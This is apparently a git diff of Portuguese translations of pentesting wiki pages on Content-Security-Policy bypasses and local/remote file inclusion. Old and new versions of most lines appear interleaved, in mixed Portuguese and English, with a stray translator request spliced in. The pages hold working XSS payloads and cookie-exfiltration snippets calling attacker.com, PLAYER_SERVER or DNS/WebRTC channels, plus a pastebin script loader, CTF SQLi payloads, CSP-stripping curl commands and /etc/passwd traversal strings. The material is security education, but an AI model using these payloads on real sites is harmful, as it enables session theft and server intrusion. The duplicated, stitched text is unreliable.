Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Uma política CSP que lista domínios permitidos para carregamento de scripts em uma aplicação Angular JS pode ser contornada através da invocação de funções de callback e certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Uma política CSP que adiciona domínios à whitelist para carregamento de scripts em uma aplicação Angular JS pode ser contornada pela invocação de funções de callback e por certas classes vulneráveis. Mais informações sobre essa técnica podem ser encontradas em um guia detalhado disponível neste [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payloads funcionais:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -403,7 +401,7 @@ Outros endpoints de execução arbitrária JSONP podem ser encontrados em [**aqu
### Bypass via Redirecionamento
O que acontece quando o CSP encontra redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda falhará.
O que acontece quando o CSP encontra um redirecionamento do lado do servidor? Se o redirecionamento levar a uma origem diferente que não é permitida, ainda assim falhará.
No entanto, de acordo com a descrição em [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se o redirecionamento levar a um caminho diferente, ele pode contornar as restrições originais.
@ -425,68 +423,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, tanto os scripts `/test` quanto `/a/test` serão bloqueados pelo CSP.
Se o CSP estiver definido como `https://www.google.com/a/b/c/d`, uma vez que o caminho é considerado, ambos os scripts `/test` e `/a/test` serão bloqueados pelo CSP.
No entanto, o `http://localhost:5555/301` final será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
No entanto, o endpoint final `http://localhost:5555/301` será **redirecionado no lado do servidor para `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Como é um redirecionamento, o **caminho não é considerado**, e o **script pode ser carregado**, assim contornando a restrição de caminho.
Com esse redirecionamento, mesmo que o caminho seja especificado completamente, ele ainda será contornado.
Com esse redirecionamento, mesmo que o caminho esteja especificado completamente, ele ainda será contornado.
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de redirecionamento aberto e que não haja domínios que possam ser explorados nas regras do CSP.
Portanto, a melhor solução é garantir que o site não tenha vulnerabilidades de open redirect e que não existam domínios que possam ser explorados nas regras CSP.
### Contornar CSP com marcação pendente
### Contornar CSP com dangling markup
Leia [como aqui](../dangling-markup-html-scriptless-injection/index.html).
Leia [aqui](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na página qualquer imagem de qualquer recurso.
`'unsafe-inline'` significa que você pode executar qualquer script dentro do código (XSS pode executar código) e `img-src *` significa que você pode usar na webpage qualquer imagem de qualquer recurso.
Você pode contornar essa CSP exfiltrando os dados via imagens (nesta ocasião, o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
Você pode contornar este CSP exfiltrando os dados via imagens (neste caso o XSS abusa de um CSRF onde uma página acessível pelo bot contém um SQLi, e extrai a flag via uma imagem):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Fonte: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Você também poderia abusar dessa configuração para **carregar código javascript inserido dentro de uma imagem**. Se, por exemplo, a página permitir o carregamento de imagens do Twitter. Você poderia **criar** uma **imagem especial**, **carregá-la** no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS regular) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Você também pode abusar desta configuração para **carregar código javascript inserido dentro de uma imagem**. Por exemplo, se a página permite carregar imagens do Twitter. Você poderia **criar** uma **imagem especial**, **fazer upload** dela no Twitter e abusar do "**unsafe-inline**" para **executar** um código JS (como um XSS normal) que irá **carregar** a **imagem**, **extrair** o **JS** dela e **executá-lo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Com Service Workers
A função **`importScripts`** dos service workers não é limitada pelo CSP:
A função `importScripts` dos Service Workers não é limitada pelo CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Injeção de Política
### Policy Injection
**Pesquisa:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Se um **parâmetro** enviado por você está sendo **colado dentro** da **declaração** da **política,** então você poderia **alterar** a **política** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
Se um **parâmetro** enviado por você estiver sendo **colado dentro** da **declaração** da **policy**, então você poderia **alterar** a **policy** de alguma forma que a torne **inútil**. Você poderia **permitir script 'unsafe-inline'** com qualquer um desses bypasses:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Porque esta diretiva irá **sobrescrever as diretivas existentes de script-src**.\
Porque esta diretiva vai **sobrescrever as diretivas script-src existentes**.\
Você pode encontrar um exemplo aqui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
No Edge é muito mais simples. Se você puder adicionar no CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
No Edge é muito mais simples. Se você conseguir adicionar na CSP apenas isto: **`;_`** **Edge** irá **descartar** toda a **política**.\
Exemplo: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Ataque de tempo
### img-src \*; via XSS (iframe) - Time attack
Note a falta da diretiva `'unsafe-inline'`\
Desta vez você pode fazer a vítima **carregar** uma página sob **seu controle** via **XSS** com um `<iframe`. Desta vez você vai fazer a vítima acessar a página de onde você quer extrair informações (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar**, você pode extrair as informações que precisa.
Observe a falta da diretiva `'unsafe-inline'`\
Desta vez você pode fazer a vítima **carregar** uma página **sob seu controle** via **XSS** com um `<iframe`. Desta vez você fará com que a vítima acesse a página de onde você quer extrair informação (**CSRF**). Você não pode acessar o conteúdo da página, mas se de alguma forma você puder **controlar o tempo que a página leva para carregar** você pode extrair a informação de que precisa.
Desta vez uma **flag** será extraída, sempre que um **caractere for corretamente adivinhado** via SQLi a **resposta** leva **mais tempo** devido à função de sleep. Então, você poderá extrair a flag:
Desta vez uma **flag** será extraída: sempre que um **char for corretamente adivinhado** via SQLi a **resposta** demora **mais tempo** devido à função sleep. Então, você poderá extrair a flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +545,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Por Bookmarklets
Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, ao ser arrastado e solto ou clicado, seria executado no contexto da janela web atual, **contornando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens.
Esse ataque implicaria alguma engenharia social em que o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Esse bookmarklet conteria código **javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** tais como cookies ou tokens.
Para mais informações [**ver o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypass de CSP restringindo o CSP
### CSP bypass ao restringir CSP
Em [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é contornado ao injetar dentro de um iframe permitido um CSP mais restritivo que não permitia carregar um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitiu **abusar de um script diferente para carregar um script arbitrário**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Você pode **restringir um CSP de um Iframe** com o **atributo `csp`**:
Você pode **restringir o CSP de um iframe** com o atributo **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
Em [**este writeup de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, através de **injeção de HTML**, **restringir** mais um **CSP**, de modo que um script que impedia CSTI foi desativado e, portanto, a **vulnerabilidade se tornou explorável.**\
O CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** que permite seu **nonce** e **habilitando scripts inline específicos via sha**:
Em [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível via **HTML injection** **restringir** ainda mais uma **CSP** de modo que um script que impedia CSTI foi desabilitado e, portanto, a **vulnerability became exploitable.**\
A **CSP** pode ser tornada mais restritiva usando **HTML meta tags** e inline scripts podem ser desabilitados **removendo** a **entrada** que permite seu **nonce** e **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,51 +571,67 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS exfiltration with Content-Security-Policy-Report-Only
### JS exfiltration com Content-Security-Policy-Report-Only
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez devido a um CRLF), você poderia direcioná-lo para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e como é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **gerar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
Se você conseguir fazer com que o servidor responda com o header **`Content-Security-Policy-Report-Only`** com um **value controlled by you** (maybe because of a CRLF), você poderia fazê-lo apontar para o seu servidor e, se você **wraps** o **JS content** que deseja exfiltrate com **`<script>`**, e como é altamente provável que `unsafe-inline` não seja permitido pela CSP, isso irá **trigger a CSP error** e parte do script (contendo a informação sensível) será enviada para o servidor a partir de `Content-Security-Policy-Report-Only`.
Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Vazamento de Informações com CSP e Iframe
### Leaking de Informação com CSP e Iframe
- Um `iframe` é criado que aponta para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
- Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
- Ao ouvir o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Esta propriedade revela o domínio da URI bloqueada, vazando o domínio secreto para o qual a URL inicial redirecionou.
- Essa URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
- Ao escutar o evento `securitypolicyviolation`, é possível capturar a propriedade `blockedURI`. Essa propriedade revela o domínio do URI bloqueado, leaking o domínio secreto para o qual a URL inicial redirecionou.
É interessante notar que navegadores como Chrome e Firefox têm comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a um possível vazamento de informações sensíveis devido a comportamentos indefinidos.
É interessante notar que navegadores como Chrome e Firefox apresentam comportamentos diferentes ao lidar com iframes em relação ao CSP, levando a potencial leakage de informação sensível devido a comportamento indefinido.
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método se baseia em um algoritmo de busca binária e na modificação do CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto de caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um trecho mostrando como o CSP pode ser configurado para facilitar este método:
Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secreto. Este método baseia-se em um algoritmo de busca binária e em ajustar o CSP para incluir domínios específicos que são deliberadamente bloqueados. Por exemplo, se o subdomínio secreto é composto por caracteres desconhecidos, você pode testar iterativamente diferentes subdomínios modificando a diretiva CSP para bloquear ou permitir esses subdomínios. Aqui está um snippet mostrando como o CSP pode ser configurado para facilitar este método:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Monitorando quais requisições são bloqueadas ou permitidas pelo CSP, é possível restringir os possíveis caracteres no subdomínio secreto, eventualmente revelando a URL completa.
Ao monitorar quais requests são bloqueadas ou permitidas pelo CSP, é possível reduzir os caracteres possíveis no subdomínio secreto, eventualmente descobrindo a URL completa.
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
Ambos os métodos exploram as nuances da implementação do CSP e do comportamento nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente leak informações sensíveis.
Truque de [**aqui**](https://ctftime.org/writeup/29310).
Trick from [**here**](https://ctftime.org/writeup/29310).
## Tecnologias Inseguras para Bypass do CSP
## Tecnologias inseguras para contornar o CSP
### Erros de PHP quando muitos parâmetros
### Erros do PHP quando há muitos parâmetros
De acordo com a [**última técnica comentada neste vídeo**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 parâmetros GET, embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** devido ao erro que isso irá gerar.
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), enviar muitos parâmetros (1001 GET parameters embora você também possa fazer isso com parâmetros POST e mais de 20 arquivos). Qualquer **`header()`** definido no código web PHP **não será enviado** por causa do erro que isso irá disparar.
### Sobrecarga do buffer de resposta do PHP
### PHP response buffer overload
O PHP é conhecido por **bufferizar a resposta em 4096** bytes por padrão. Portanto, se o PHP estiver mostrando um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **cabeçalho CSP**, fazendo com que o cabeçalho seja ignorado.\
Então, a técnica consiste basicamente em **preencher o buffer de resposta com avisos** para que o cabeçalho CSP não seja enviado.
O PHP é conhecido por **armazenar a resposta em buffer até 4096** bytes por padrão. Portanto, se o PHP estiver exibindo um aviso, fornecendo **dados suficientes dentro dos avisos**, a **resposta** será **enviada** **antes** do **CSP header**, causando que o header seja ignorado.\
Então, a técnica consiste basicamente em **encher o buffer de resposta com avisos** para que o **CSP header** não seja enviado.
Ideia de [**este writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Kill CSP via max_input_vars (headers already sent)
### Reescrever Página de Erro
Porque os headers devem ser enviados antes de qualquer output, avisos emitidos pelo PHP podem invalidar chamadas posteriores a `header()`. Se a entrada do usuário exceder `max_input_vars`, o PHP lança primeiro um startup warning; qualquer `header('Content-Security-Policy: ...')` subsequente falhará com “headers already sent”, desabilitando efetivamente o CSP e permitindo reflective XSS que seriam bloqueados de outra forma.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Por favor, cole aqui o conteúdo do arquivo src/pentesting-web/content-security-policy-csp-bypass/README.md que você quer traduzir. Vou traduzir para português mantendo exatamente a mesma sintaxe Markdown/HTML e seguindo as regras que você especificou.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
De [**este writeup**](https://blog.ssrf.kr/69), parece que foi possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Reescrever a página de erro
Pelo [**this writeup**](https://blog.ssrf.kr/69) parece que era possível contornar uma proteção CSP carregando uma página de erro (potencialmente sem CSP) e reescrevendo seu conteúdo.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +640,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável a partir de uma página do atacante e então atualizando a página do atacante para o endpoint real na mesma origem que se quer abusar. Desta forma o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações ver:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Além disso, **wordpress** tem um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Além disso, **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que **reflete** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do endpoint **callback** **vulnerável** que **bypassa o CSP** para dar mais privilégios a um usuário, instalar um novo plugin...\
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra WordPress e **inseri-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que este **script** será **carregado** porque é **allowed by 'self'**. Além disso, e porque WordPress está instalado, um atacante pode abusar do **SOME attack** através do **vulnerable** **callback** endpoint que **bypasses the CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Se houver um CSP rigoroso que não permite que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
Se houver uma CSP estrita que não permite que você **interagir com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar a informação.
### Location
Você poderia apenas atualizar a localização para enviar ao servidor do atacante as informações secretas:
You could just update the location to send to the attacker's server the secret information:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vazará conteúdo)
Você pode redirecionar injetando uma meta tag (isso é apenas um redirecionamento, isso não vai leak conteúdo)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Para carregar páginas mais rapidamente, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\
Você pode indicar a um navegador para pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
Para carregar páginas mais rápido, os navegadores vão pré-resolver nomes de host em endereços IP e armazená-los em cache para uso posterior.\
Você pode instruir um navegador a pré-resolver um nome de host com: `<link rel="dns-prefetch" href="something.com">`
Você poderia abusar desse comportamento para **exfiltrar informações sensíveis via solicitações DNS**:
Você poderia abusar desse comportamento para **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -680,13 +695,13 @@ Para evitar que isso aconteça, o servidor pode enviar o cabeçalho HTTP:
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Aparentemente, essa técnica não funciona em navegadores sem cabeça (bots)
> Aparentemente, esta técnica não funciona em headless browsers (bots)
### WebRTC
Em várias páginas, você pode ler que **WebRTC não verifica a política `connect-src`** do CSP.
Em várias páginas você pode ler que **WebRTC não verifica a política `connect-src` do CSP**.
Na verdade, você pode _leak_ informações usando uma _solicitação DNS_. Confira este código:
Na verdade você pode _leak_ informações usando um _DNS request_. Confira este código:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -708,7 +723,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
O popup de credenciais envia uma solicitação DNS para o iconURL sem ser restrito pela página. Ele funciona apenas em um contexto seguro (HTTPS) ou no localhost.
O popup de credenciais envia uma requisição DNS para o iconURL sem ser restringido pela página. Só funciona em um contexto seguro (HTTPS) ou em localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,12 +734,12 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Verificando Políticas CSP Online
## Verificando políticas CSP online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Criando CSP Automaticamente
## Criando CSP automaticamente
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
@ -738,6 +753,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​

271
src/pentesting-web/file-inclusion/README.md
View File

@ -4,22 +4,22 @@
## File Inclusion
**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto é **desabilitado** por padrão (**allow_url_include**).\
**Remote File Inclusion (RFI):** O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está **desativado** por padrão (**allow_url_include**).\
**Local File Inclusion (LFI):** O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode, de alguma forma, controlar o arquivo que será carregado pelo servidor.
A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor.
Vulnerable **PHP functions**: require, require_once, include, include_once
Funções **PHP** vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files
## Blind - Interessantes - LFI2RCE arquivos
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
### **Linux**
**Misturando várias \*nix listas de LFI e adicionando mais caminhos, criei esta:**
**Misturando várias listas LFI de \*nix e adicionando mais caminhos, eu criei esta:**
{{#ref}}
@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Tente também trocar `/` por `\`\
Tente também adicionar `../../../../../`
A lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Tente também trocar `/` por `\`\
Tente também remover `C:/` e adicionar `../../../../../`
A lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Confira a lista de LFI do Linux.
Consulte a lista LFI de Linux.
## Basic LFI and bypasses
Todos os exemplos são para Local File Inclusion mas poderiam ser aplicados também a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### traversal sequências removidas não recursivamente
### traversal sequences removidos não recursivamente
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Bypass para evitar que sejam acrescentados mais caracteres ao final da string fornecida (bypass de: $\_GET\['param']."php")
Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Isto está **resolvido desde o PHP 5.4**
Isso está **corrigido desde o PHP 5.4**
### **Codificação**
@ -84,36 +84,36 @@ Talvez o back-end esteja verificando o caminho da pasta:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Explorando diretórios do sistema de arquivos em um servidor
### Explorando Diretórios do Sistema de Arquivos em um Servidor
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo segue um método detalhado para alcançar isso:
O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:
